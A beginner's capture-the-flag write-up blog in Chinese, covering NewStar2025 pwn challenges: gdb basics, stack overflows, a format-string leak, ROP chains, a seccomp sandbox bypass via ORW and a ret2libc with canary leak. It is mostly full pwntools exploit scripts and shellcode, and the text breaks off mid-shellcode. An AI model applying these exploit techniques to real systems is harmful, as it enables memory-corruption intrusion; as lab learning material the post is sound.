PWN NewStar2025 Pwn (1月尾會再更新) GHSC 2025-12-13 2025-12-14 前言,這是小弟用第一次學pwn,做題用時比web方向用太多時間了😭😭😭😭,已 畏懼
Week 1
1. GNU Debugger 指令(省流) :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./gdb_challenge... This GDB supports auto-downloading debuginfo from the following URLs: <https://debuginfod.ubuntu.com> Enable debuginfod for this session? (y or [n]) y Debuginfod has been enabled. To make this setting permanent, add 'set debuginfod enabled on' to .gdbinit. (No debugging symbols found in ./gdb_challenge) (gdb) r 8.147.132.32 30978 Starting program: /home/ghsc/NewStar2025/gdb_challenge 8.147.132.32 30978 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". ### 向导加入了队伍。. 向导: 欢迎打开PWN的大门,我是向导,来到这里的第一次考验,本关考验你和你的搭档GDB (GNU Debugger)的契合程度,毕竟在PWN的世界中离开了GDB就无法生存了呢。。。 当然了设置这道关卡的人没给调试信息,所以在 dbg (debug) 的过程中你或许会看到一些来自gdb的输出提示,这些都是无关要紧的,让我们开始吧 完成4个关卡后就能得到flag咯 --- 关卡 1: 已验丁真 --- 向导: 我放了一个随机数在'r12'寄存器里面哦, 你可以借助GDB的力量一眼丁真吗? 找到r12的16进制值就按下c(continue)来告诉我答案吧! Program received signal SIGTRAP, Trace/breakpoint trap. 0x0000000000400dd1 in stage_0_register_check () (gdb) p $r12 $1 = 8637704899224837111 (gdb) c Continuing. 向导: r12寄存器里面装着什么呢?好难猜啊, 记住我要16进制数字捏,例如0x114之类的数字: 0x77DF4AD760F29BF7 向导: 正解! 下一关咯 --- 关卡 2: 义眼丁真 --- 向导: 这次是内存捏, 我留了一句话在某个地方捏. 偷偷告诉你这个地方在哪里QwQ -> 0x402457 猜猜我要对你说什么。找到了就按下c(continue)来告诉我答案吧! Program received signal SIGTRAP, Trace/breakpoint trap. 0x0000000000400efa in stage_1_memory_check () (gdb) x /s 0x402457 0x402457: "GDB_IS_POWERFUL" (gdb) c Continuing. 向导: 你找到了吗QwQ,告诉我你找到了什么: GDB_IS_POWERFUL 向导: 正解! 下一关!. --- 关卡 3: 犹豫丁真 --- 向导: 啊,程序中有个函数跑得太快了,他的身上有最后一关的钥匙!我们要抓住他,用GDB让他停下来! 如果没能抓住他的话,我们就没办法继续往前走了. 让他停下来拿到钥匙之后,按下一次c把钥匙拿过来,然后再次按下c继续我们的旅程吧. 注意需要慢慢来,不要按得这么快哦 偷偷告诉你这个函数在 -> 0x400fa9 Program received signal SIGTRAP, Trace/breakpoint trap. 0x0000000000401018 in stage_2_breakpoint_check () (gdb) b *0x400fa9 Breakpoint 1 at 0x400fa9 (gdb) c Continuing. Breakpoint 1, 0x0000000000400fa9 in function_to_break_on () (gdb) c Continuing. 向导: 他停下来了! 在这个函数身上找到了最后一关的钥匙. 接下来是最后一关了哦. --- 关卡 4: 应用丁真 --- 来到最后一关了,由于环境影响,已经听不清楚向导说的话了。 向导: 我们的 '(&*(……¥*&¥#!¥&……*&*&!@¥#' 现在只有 1 个.....但是要过关的话一共需要 0xdeadbeef 个 你知道葫芦侠的传说吗,好在GDB有一个强大的功能,他可以*&¥&@34#! 改. 地$^&!$址 -> 0x7fffffffd3f4 …*& Program received signal SIGTRAP, Trace/breakpoint trap. 0x0000000000401157 in stage_3_state_modification () (gdb) x /w 0x7fffffffd3f4 0x7fffffffd3f4: U"\001\x855ef600\x43dadab9\xffffd540翿\x40175d" (gdb) set {unsigned int}0x7fffffffd3f4 = 0xdeadbeef (gdb) c Continuing. 向导离开了队伍。. [*] Initializing security protocols... [+] 世界上即将增加一个PWN高手了捏 [+] FLAG : flag{de2f9a9f-bde2-4596-a3cb-2d4b1e12daa9}
2.INTbug
32767 + 1 = (1000 0000 0000 0000)2 < 0
3.pwn’s door 题目内容: Key 已经为进入 pwn 的世界做好了充分准备。他找到了可靠的伙伴,猫猫 NetCat 和蟒蛇 Python,还为 Python 配备了强大的工具 pwntools。有了这些,他相信自己一定能顺利通过考验。
【难度:签到】
4.overflow 先看看:
amd64 沒有NX保護 (不用補ret)
(在IDA找到的)后门代码:
1 2 3 4 5 6 void __cdecl backd00r() { puts("Congratulations! You have found the backdoor!"); puts("You can now execute any command you want."); system("/bin/sh"); }
1 backd00r .text 0000000000401200 00000034 00000008 R . . . . . B T . .
地址是0x401200 , 在get函數可以 構造256+8個垃圾數據 , 但是它%16不整, 會發生指令不
執行 , 我們要進行一個棧對齊 , 加一個ret +8 , 256+8+8 = 272 , 272/16 = 17
對應的棧樣子如下:
可以看見前n行是對齊的, 最後加一個BACKDOOR_ADDR大功告成
pwn!!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *p = remote("8.147.132.32" ,27654 ) context(os='linux' ,arch='amd64' ,log_level='debug' ) print (p.recvuntil(b"Enter your input:" ).decode())BACKDOOR_ADDR = 0x401200 padding = b"A" * 264 ret = p64(0x401342 ) sys_address = p64(BACKDOOR_ADDR) payload = padding + ret + sys_address p.sendline(payload) p.interactive()
可參考https://www.bilibili.com/video/BV1R8VVzjEkf?spm_id_from=333.788.videopod.sections&vd_source=b128d59725d91ecef706ce0b01795a8f
checksec 一下:
有開NX , Full RELRO , PIE
因為沒有後門函數, 我們可以用pwntools的自帶工具shellcraft.sh() 生成shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) p = remote('47.94.87.199' ,37002 ) shellcode = asm(shellcraft.sh()) p.recvuntil(b"please input a function(after compile)" ) p.sendline(shellcode) p.interactive()
Week2 1.刻在栈里的秘密 题目内容: 欢迎来到 x64 位餐厅!服务员 printf 先生有点健忘,他只能记住您菜单上的前 6 道菜 (RDI, RSI, RDX…),再多就只能堆在摇摇晃晃的餐盘 (栈) 上了。更糟糕的是,他会把你写的菜单原封不动地大声念出来。你能设计一份别有用心的菜单,让他念着念着,就把秘密房间的密码念给你听吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 现在有一个密码隐藏在栈上(•̀ᴗ• ) 你需要做的是通过格式化字符串来泄露这个密码o(´^`)o!m, 告诉我密码我就给你flag 哦,对了对了,你还要告诉我指向这个密码的地址 在此之前, 你可以了解一下各个格式化字符串的用法, 例如 %p, %s, %d, 以及 $ 符号. emmm...还有 x86-64 函数调用约定! 指向密码的指针被存放在了 0x7ffc4ced3650 中, 同时栈顶指针是 0x7ffc4ced35d0 . 他们之间的距离是:也就是说, 在printf之前, 格式字符串的参数看起来就像 ( *・ω・) 0x7ffc4ced3650: [?] <-- 密码在这里捏 0x7ffc4ced3648: [?] 0x7ffc4ced3640: [?] 0x7ffc4ced3638: [?] 0x7ffc4ced3630: [?] 0x7ffc4ced3628: [?] 0x7ffc4ced3620: [?] 0x7ffc4ced3618: [?] 0x7ffc4ced3610: [?] 0x7ffc4ced3608: [?] 0x7ffc4ced3600: [?] 0x7ffc4ced35f8: [?] 0x7ffc4ced35f0: [?] 0x7ffc4ced35e8: [?] 0x7ffc4ced35e0: [?] 0x7ffc4ced35d8: [?] 0x7ffc4ced35d0: [?] 0x7ffc4ced35c8: [?] 0x7ffc4ced35c0: [?] <-- 栈顶在这里捏 R9: [?] R8: [?] RCX: [?] RDX: [?] RSI: [?] RDI: [格式化字符串] 现在给你两次输入的机会, 补要输入太长的数据哦. 接着我会使用printf, 用你的输入作为printf的参数. 看起来就像 printf(your_input), 实际上这样是很危险的, 好孩子不要模仿^^. 来吧让我看看你的输入
x86-64 的棧參數用寄存器的
x86-64 SysV 调用约定 1 2 3 4 5 printf 的变参顺序(带 $ 的位置索引)是: 1$的位置索引)是:1 的位置索引)是: 1→RSI,2$→RDX,3$→RCX,4$→R8,5$→R9,6$ 起在栈上(第 6 个槽)
栈上的参数槽从栈顶往下数,第一个槽是 0,第二个是 1,依次类推。所以,指向密码的指针所在的槽位是从栈顶往下数的第 18 个槽,也就是第 18$ 个参数
栈顶:0x7ffc4ced35c0
密码:0x7ffc4ced3650
0x3650 - 0x35c0 = 0x90 = 18 * 8
栈上第一个变参是 6$ ,6+18 = 24
printf(%24$p):密码的地址
printf(%24$s):密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 %24$p printf第 1 次启动! 0x7ffc8ae5aa00 再来一次 ! %24$s printf第 2 次启动! HQFPFOLAOVDOHLH 现在来验证一下密码吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码: HQFPFOLAOVDOHLH 现在来验证一下密码的指针吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码: 给我输入一个类似 0x114514 的 16 进制数! 0x7ffc8ae5aa00 好棒 ̋(๑˃́ꇴ˂̀๑) 给你flag flag{ead08abf-89e2-4248-84fe-f656f0c5379e}
2.syscall checksec一下 , 開了NX和Canary保護:
攻擊方法ROP鏈+Canary繞過
file一下, 32位
vmmap一下syscall 可寫的是0x80ef000 在IDA查看是BSS段 , 因為沒有找到/bin/sh ,
所以可以在bss段寫入”/bin/sh\x00” , 調用execve(“/bin/sh” , 0 , 0)
看看偽代碼:
1 2 3 4 5 6 7 8 int __cdecl main(int argc, const char **argv, const char **envp) { init(&argc); _libc_write(1, "welcome to newstarctf2025 week2!\n", 33); _libc_write(1, "pwn it guys!\n", 13); func(); return 0; }
1 2 3 4 5 6 int func() { _BYTE v1[14]; // [esp+6h] [ebp-12h] BYREF return _libc_read(0, v1, 100); }
0x12+4 = 18
在返回地址(0xffffc63c)之前没有看到canary值 , 所以可以不用看canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 (py311) ghsc@DESKTOP-JDO3EH1:~/NewStar2025/pwn$ ROPgadget --binary syscall --only 'pop|ret' | grep 'eax' 0x080ad56a : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080b438a : pop eax ; ret 0x080ad569 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret (py311) ghsc@DESKTOP-JDO3EH1:~/NewStar2025/pwn$ ROPgadget --binary syscall --only 'pop|ret' | grep 'ebx' 0x080ad572 : pop ds ; pop ebx ; pop esi ; pop edi ; ret 0x080ad56a : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0806d7e1 : pop ebp ; pop ebx ; pop esi ; pop edi ; ret 0x08073656 : pop ebp ; pop edi ; pop ebx ; ret 0x080ada1c : pop ebx ; pop ebp ; pop esi ; pop edi ; ret 0x0804993a : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0806064c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4 0x080abda5 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8 0x08049a1e : pop ebx ; pop esi ; pop edi ; ret 0x0804fbfe : pop ebx ; pop esi ; ret 0x08049022 : pop ebx ; ret 0x0806071f : pop ebx ; ret 4 0x0806cd8e : pop edi ; pop ebx ; ret 0x08064cbb : pop edi ; pop esi ; pop ebx ; ret 0x080ad569 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x08064cbc : pop esi ; pop ebx ; ret 0x0806cd8d : pop esi ; pop edi ; pop ebx ; ret 0x08072eb4 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret (py311) ghsc@DESKTOP-JDO3EH1:~/NewStar2025/pwn$ ROPgadget --binary syscall --only 'pop|ret' | grep 'ecx' 0x0804985a : pop ecx ; ret (py311) ghsc@DESKTOP-JDO3EH1:~/NewStar2025/pwn$ ROPgadget --binary syscall --only 'pop|ret' | grep 'edx' 0x0804985c : pop edx ; ret
0x080b438a : pop eax ; ret
0x08049022 : pop ebx ; ret
0x0804985a : pop ecx ; ret
0x0804985c : pop edx ; ret
payload 第一步要自先加上垃圾數據再加上read函數(0x3)
read(b , c , d):
ebx - 文件描述符 (fd) ecx - 缓冲区地址 (buf) edx - 读取字节数 (count)
int 0x80 后面最好跟着 ret,这是为了保持ROP链的连续性
1 pop eax → pop ebx → pop ecx → pop edx → int 0x80 → ??? (控制流丢失)
1 pop eax → pop ebx → pop ecx → pop edx → int 0x80 ; ret → 下一个gadget
1 2 3 # 查找 int 0x80 ; ret gadget ROPgadget --binary syscall --only 'int' | grep 'ret' ROPgadget --binary syscall | grep 'int 0x80' | grep 'ret'
這一題ROPgadget找不到((((((
在pwn 大佬的指導下在IDA找到了 , alt + b 查找 cd 80 (int 0x80)
int 0x80 (0x08073A00)
因為有NX , 要棧對齊一下 , 加一個ret
1 ROPgadget --binary syscall --only "ret"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *import timep=process("./syscall" ) elf=ELF("./syscall" ) gdb.attach(p) context(os='linux' ,arch='i386' ,log_level='debug' ) p.recvuntil(b'pwn it guys!\n' ) bss_addr = elf.bss() + 0x100 read_addr = 0x3 execve = 0xb pop_eax = 0x080b438a pop_ebx = 0x08049022 pop_ecx = 0x0804985a pop_edx = 0x0804985c int_0x80 = 0x08073A00 ret = 0x0804900e payload = b'A' *(0x12 +4 ) payload += p32(ret) payload += p32(pop_eax) payload += p32(read_addr) payload += p32(pop_ebx) payload += p32(0 ) payload += p32(pop_ecx) payload += p32(bss_addr) payload += p32(pop_edx) payload += p32(8 ) payload += p32(int_0x80) payload += p32(pop_eax) payload += p32(execve) payload += p32(pop_ebx) payload += p32(bss_addr) payload += p32(pop_ecx) payload += p32(0 ) payload += p32(pop_edx) payload += p32(0 ) payload += p32(int_0x80) p.sendline(payload) time.sleep(0.1 ) p.sendline(b'/bin/sh\x00' ) p.interactive()
用IDA找的()gdb.attach(p)
用ROPgadget找的(錯的死循环int)gdb.attach(p)
不管了 , 反正做出來了 !!(0v0)!!
3.no shell sandbox 這是一題沙盒題 ,
hint:为什么假定要 rax 的值呢,或许可以在不知道具体值的情况下传递
看看checksec先
用一下沙盒
1 seccomp-tools dump ./noshell
可以看見不可以用execve , ARCH_X86_64 , A!=0xffffffff 了 return KILL
如果A<0x40000000 就可以ALLOW
可以先看概論 :https://www.bilibili.com/video/BV1Wi4y1A7Gr/?spm_id_from=333.337.search-card.all.click&vd_source=b128d59725d91ecef706ce0b01795a8f
繞過:
https://www.bilibili.com/video/BV1Uv411j7fr?spm_id_from=333.788.videopod.episodes&vd_source=b128d59725d91ecef706ce0b01795a8f&p=16
沙箱!!! 省流:
Secure computing mode 1 2 3 4 5 1.Seccomp restrict 2.Seccomp filter 3.使用prctl設置sandbox 4.使用seccomp.h設置sandbox 5.使用libseccomp設置sandbox
繞過思路 1 2 3 4 ORW Open/openv Read/readv Write/writev
i386與x86-64的調用號不同
可以利用retq指令修改cs寄存器
cs == 0x23 代表32位模式
cs == 0x33 代表64位模式
可能是64轉成32位繞過
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 int __fastcall main(int argc, const char **argv, const char **envp) { __int64 n2; // rax __int64 n2_1; // [rsp+8h] [rbp-108h] BYREF _BYTE buf[256]; // [rsp+10h] [rbp-100h] BYREF init(argc, argv, envp); write(1, "Your Power Has Been Restricted!\n", 0x20u); write(1, "But your mind is still free!\n", 0x1Du); write(1, "Do you want to say something?\n", 0x1Eu); if ( getchar() == 121 || getchar() == 89 ) { read(0, buf, 0xFFu); buf[255] = 0; } else { write(1, "You chose not to say anything.\n", 0x20u); } write(1, "leave or capture the flag?\n", 0x1Cu); __isoc99_scanf("%lld", &n2_1); if ( n2_1 <= 0 ) { n2 = 1; } else { n2 = n2_1; if ( n2_1 > 2 ) n2 = 2; } n2_1 = n2; if ( n2 == 1 ) { write(1, "You chose to leave.\n", 0x14u); exit(0); } if ( n2_1 == 2 ) write(1, "You chose to capture the flag!\n", 0x1Fu); challenge(); return 0; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 void __noreturn challenge() { int v0; // [rsp+Ch] [rbp-4h] BYREF while ( 1 ) { write(1, "Welcome to the challenge!\n", 0x1Au); write(1, "Please Make choice:\n", 0x14u); write(1, "1. Check your power\n", 0x14u); write(1, "2. Get the power of your cat\n", 0x18u); write(1, "3. Open the door\n", 0x11u); write(1, "4. Destroy this world\n", 0x16u); write(1, "5. leave this world\n", 0x14u); write(1, "your choice: ", 0xDu); __isoc99_scanf("%d", &v0); switch ( v0 ) { case 1: Check_your_power(); break; case 2: Get_the_power_of_your_cat(); break; case 3: open_the_door(); break; case 4: destroy_this_world(); break; case 5: write(1, "Goodbye!\n", 9u); exit(0); default: write(1, "Invalid choice!\n", 0x10u); break; } } }
漏洞点:main 中的 read(0, buf, 0xFFu) 和 Check_your_power() 中的 read(0, buf, off)
ORW 參考文章:https://x1ng.top/2021/10/28/pwn-orw%E6%80%BB%E7%BB%93/
省流:
Open系統呼叫 系統呼叫號:2(在x86-64中,open的系統呼叫號是2) 參數:
rdi: 檔案路徑的字串指標(例如:字串”flag”的地址)
rsi: 打開檔案的標誌(例如:O_RDONLY=0)
rdx: 模式(通常在使用O_CREAT時需要,這裡可以設為0)
成功執行後,rax會返回檔案描述符(通常是一個非負整數,例如3)。
Read系統呼叫 系統呼叫號:0 參數:
rdi: 檔案描述符(從open返回的fd)
rsi: 讀取內容存放的緩衝區地址
rdx: 要讀取的位元組數
成功執行後,rax返回實際讀取的位元組數。
Write系統呼叫 系統呼叫號:1 參數:
rdi: 檔案描述符(這裡我們要輸出到標準輸出,所以是1)
rsi: 要寫入的資料的緩衝區地址(也就是read讀取到的緩衝區)
rdx: 要寫入的位元組數(通常使用read返回的位元組數,但我們也可以設定一個固定的值)
注意:在ORW中,我們通常將讀取的內容寫到標準輸出(fd=1)以便看到檔案內容。
先用ROPgadget找找寄存器:
1 2 3 ROPgadget --binary noshell --only 'pop|ret' | grep 'rdi' ROPgadget --binary noshell --only 'pop|ret' | grep 'rsi' ROPgadget --binary noshell --only 'pop|ret' | grep 'rdx'
1 2 3 0x00000000004013f3 : pop rdi ; ret 0x00000000004013f5 : pop rsi ; ret 0x00000000004013f7 : pop rdx ; ret
payload = b’a’ (0x20 + 8 )
payload += pop_rdi + flag_addr
payload += rsi + p64(0)
payload += pop_rdx + p64(0)
payload += open
這是一個open函數的動作 , 先找一找flag.txt
1 ROPgadget --binary noshell --string "./flag"
flag.txt = 0x40206a
省流: 可以用p64(p.plt[‘open’]) , 不過可以自己找
在IDA找到了open_the_door 追蹤一下call open
open = 0x4011E0
接下來是read
read( 3 , bss , 0x100)
payload = p64(magic)
#payload += pop_rdi + p64(3)
payload += pop_rsi + p64(bss)
payload += pop_rdx +p64(0x100)
payload += read()
讀256個字節
magic 是什麼?
在IDA alt+b 查 48 89 C7 , 找到了一個有ret的
magic = 0x04013F9
接下來是write操作: payload = pop_rdi + p64(1) + p64(p.plt[‘write’])
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *p = remote('8.147.132.32' , 18505 ) e = ELF('./noshell' ) context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) pop_rdi = 0x4013f3 pop_rsi = 0x4013f5 pop_rdx = 0x4013f7 flag = 0x40206a magic = 0x4013F9 ret = 0x40101a payload = b'a' *(0x20 +8 ) + p64(pop_rdi) +p64(flag) + p64(pop_rsi) + p64(0 ) + p64(pop_rdx) + p64(0 ) + p64(e.plt['open' ]) payload += p64(magic) + p64(pop_rsi) + p64(e.bss(0x400 )) + p64(pop_rdx) + p64(0x100 ) + p64(e.plt['read' ]) payload += p64(pop_rdi) + p64(1 ) + p64(e.plt['write' ]) p.recvuntil(b'Do you want to say something?\n' ) p.sendline(b'y' ) p.recvuntil(b'leave or capture the flag?\n' ) p.sendline(b'2' ) p.sendlineafter(b'your choice: ' ,b'2' ) p.sendlineafter(b'your choice: ' ,b'1' ) p.sendline(payload) p.interactive()
Week3 fmt and canary Ubuntu GLIBC 2.35-0ubuntu3.10 https://www.bilibili.com/video/BV11t4y1R7dV/?spm_id_from=333.337.search-card.all.click&vd_source=b128d59725d91ecef706ce0b01795a8f
打開IDA alt+ t 搜 ubuntu
下載patchelf 和 glibc-all-in-one
patchelf安裝
1 sudo apt -y install patchelf
glibc-all-in-one安裝
1 2 3 4 5 6 7 8 9 10 11 12 13 14 git clone https://gitclone.com/github.com/matrix1001/glibc-all-in-one cd glibc-all-in-one sudo python3 update_list cat list #需要使用的Ubuntu sudo ./download x.xx-xubuntux_xxx #以我的題為例 sudo ./download 2.35-0ubuntu3.11_amd64 #list 有 list 和 old_list sudo ./download_old x.xx-xubuntux_xxx
用patchelf更換 libc 和 ld 文件
1 2 3 4 5 6 7 8 9 10 #換ld文件 patchelf --set-interpreter /??/??/?? 程式 #這一題 patchelf --set-interpreter home/ghsc/glibc-all-in-one/libs/2.35-0ubuntu3.11_amd64/ld-linux-x86-64.so.2 fmt_canary #換libc文件 patchelf --replace-needed libc.so.6 /??/??/?? 程式 #這一題,先恢复原始状态(如果需要) patchelf --replace-needed home/ghsc/glibc-all-in-one/libs/2.35-0ubuntu3.11_amd64/libc.so.6 libc.so.6 fmt_canary patchelf --replace-needed libc.so.6 home/ghsc/glibc-all-in-one/libs/2.35-0ubuntu3.11_amd64/libc.so.6 fmt_canary
開了NX , 動連 , 要用libc函數了 , RELRO: Partial RELRO , IDA一下 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __fastcall main(int argc, const char **argv, const char **envp) { char s[40]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); init(argc, argv, envp); puts(&::s); puts(&s_); do { memset(s, 0, sizeof(s)); puts(&s__0); read(0, s, 0x27u); printf(s); } while ( strcmp(s, "end\n") ); puts(&s__1); printf(&format); read(0, s, 0x100u); return 0; }
先判斷攻擊點 , 大概是在打了end後 有一個read(0 , s ,0x100u)
canary 兩個read , 一個0x28字節 , 一個0x100字節 , 先找到canary先
b *0x4012D4
cyclic一下 , stack 30
不難看出canary就在rbp-0x8
0x7fffffffd508 ◂— 0xad7425d44ff65a00
找對了 , 算一算偏移量 , (0x508 - 0x4e0)/8 = 5
字符串偏移量為6 , 6+5 = 11
%11$p :
成功找到 canary
libc libc的基礎:
https://www.bilibili.com/video/BV1mr4y1Y7fW?spm_id_from=333.788.videopod.episodes&vd_source=b128d59725d91ecef706ce0b01795a8f&p=20
然後要寫一下 ret2libc , 參考文章:
https://starrysky1004.github.io/2024/09/26/linux-yan-chi-bang-ding-ji-zhi-guo-cheng/linux-yan-chi-bang-ding-ji-zhi-guo-cheng/
用IDA開一下llibc.so.6
gdb vmmap 一下 :
0x7ffff7c00000 - 0x7ffff7e1c000 是libc 的區域 , 如果要調用的話要先算一算偏移量
找一下ROPgadget , pop_rdi = 基址 + 0x2a3e5 , 在libc找到了 “/bin/sh” :
sh_addr = 基址 + 0x1d8678
找”/bin/sh” 和 system函數:
bin/sh: 基址 + 0x1D8678
system: 基址 + 0x50D70
格式化字符串漏洞泄露libc基址 https://www.cnblogs.com/GGbomb/p/17872974.html
在canary後面有一個__libc_start_call_main+122 : 0x7ffff7c2a1ca
用vmmap找到基址:
0x7ffff7c29e40-0x7ffff7c00000 = 0x29E40
(0xd568-0xd4b8 )/8 = 22 11+22 = 33
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) p = process('./fmt_canary' ) elf=ELF('./fmt_canary' ) libc=ELF('./libc.so.6' ) payload=b'aaaa%11$p.%13$p' p.sendlineafter('说话!\n' ,payload) p.recvuntil('aaaa' ) canary=int (p.recvuntil(b'00' ).decode(),16 ) p.recvuntil('.' ) libc = int (p.recvuntil(b'\n' ).decode(),16 ) libc_base = libc - 0x2a1ca pop_rdi = libc_base + 0x2a3e5 sh_addr = libc_base + 0x1d8678 system_addr = libc_base + 0x50D70 print (hex (canary))print (hex (libc_base))
然後就是正常的libc了 ,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) p = remote('39.106.48.123' ,28287 ) p.recvuntil('我先放台复读机在这里!要是觉得厌倦了就输入end来结束吧\n' ) payload1=b'aaaa%11$p.%33$p' p.sendlineafter('说话!\n' ,payload1) p.recvuntil('aaaa' ) canary=int (p.recvuntil(b'00' ).decode(),16 ) p.recvuntil('.' ) libc_a = int (p.recvuntil(b'\n' ).decode(),16 ) libc_base = libc_a - 0x29E40 ret = 0x29139 + libc_base pop_rdi = 0x2A3e5 + libc_base binsh = 0x1D8678 + libc_base system = 0x50D70 + libc_base print (hex (canary))print (hex (libc_a))p.recvuntil('说话!\n' ) p.sendline("end" ) p.recvuntil('QwQ:' ) payload2 = b'a' *(0x30 -8 ) + p64(canary) + p64(0 ) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) p.sendline(payload2) p.interactive()
sandbox_plus seccomp-tools dump ./sandbox_plus 一下
被ban ARCH_X86_64 execve execveat open read write sendfile 怎麼辦?
看了main函數明顯這是一個Shellcode 題目:
1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall main(int argc, const char **argv, const char **envp){ void *buf; // [rsp+8h] [rbp-8h] init(argc, argv, envp); buf = mmap((void *)0x114514 , 0x1000u, 7 , 34 , -1 , 0 ); puts("please input a orw_plus function (also also after compile)" ); read(0 , buf, 0x500u); install_seccomp(); ((void (*)(void))buf)(); return 0 ; }
buf = mmap((void *)0x114514, 0x1000u, 7, 34, -1, 0);是指改變0x114514 處的記憶體映射為可讀、可寫、可執行
Shellcode 構造 (AORW):
設置 iovec 結構:
1 2 3 mov rax, {buffer_addr} mov qword ptr [{iovec_addr}], rax mov qword ptr [{iovec_addr} + 8], 0x100
openat(“flag.txt”):
將 "flag.txt" 字串寫入内存
1 2 3 4 5 ```assembly_x86 mov rdi, {flag_str_addr} mov rsi, 0x7478742e67616c66 // "flag.txt" mov qword ptr [rdi], rsi
openat(AT_FDCWD, "flag.txt", O_RDONLY, 0) , syscall 是指令地址
1 2 3 4 5 6 7 ```assembly_x86 mov rax, 0x101 // __NR_openat = 257 mov rdi, 0xFFFFFF9C // AT_FDCWD (-100) mov rsi, {flag_str_addr} // "flag.txt" xor rdx, rdx // O_RDONLY syscall // RAX = fd
readv(fd, &iov, 1):
1 2 3 4 5 mov rdi, rax // RDI = fd mov rax, 0x13 // __NR_readv = 19 mov rsi, {iovec_addr} // RSI = &iovec mov rdx, 0x1 // RDX = 1 (iovec count) syscall // 讀取內容
writev(STDOUT, &iov, 1):
1 2 3 4 5 mov rax, 0x14 // __NR_writev = 20 mov rdi, 0x1 // RDI = STDOUT_FILENO (1) mov rsi, {iovec_addr} // RSI = &iovec mov rdx, 0x1 // RDX = 1 (iovec count) syscall // 輸出內容
exit(0):
1 2 3 mov rax, 0x3c // __NR_exit = 60 xor rdi, rdi syscall
合在一起的python 就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) p = remote('39.106.57.152' ,39122 ) BUF_ADDR = 0x114514 IOVEC_ADDR = BUF_ADDR + 0x100 BUFFER_ADDR = BUF_ADDR + 0x200 FLAG_STR_ADDR = BUF_ADDR + 0x300 shellcode = asm(f""" /* ------------------- 1. 設置 iovec 結構 ------------------- */ mov rax, {BUFFER_ADDR} mov qword ptr [{IOVEC_ADDR} ], rax mov qword ptr [{IOVEC_ADDR} + 8], 0x100 /* ------------------- 2. openat("flag") ------------------- */ /* 將 "flag" 字串寫入内存 (4 bytes, 故只需 mov dword) */ mov rdi, {FLAG_STR_ADDR} mov rsi, 0x67616c66 # "flag" mov dword ptr [rdi], esi /* openat(AT_FDCWD, "flag", O_RDONLY, 0) */ mov rax, 0x101 # __NR_openat = 257 mov rdi, 0xFFFFFF9C # AT_FDCWD (-100) mov rsi, {FLAG_STR_ADDR} # "flag" xor rdx, rdx # O_RDONLY syscall # RAX = fd /* ------------------- 3. readv(fd, &iov, 1) ------------------- */ mov rdi, rax # RDI = 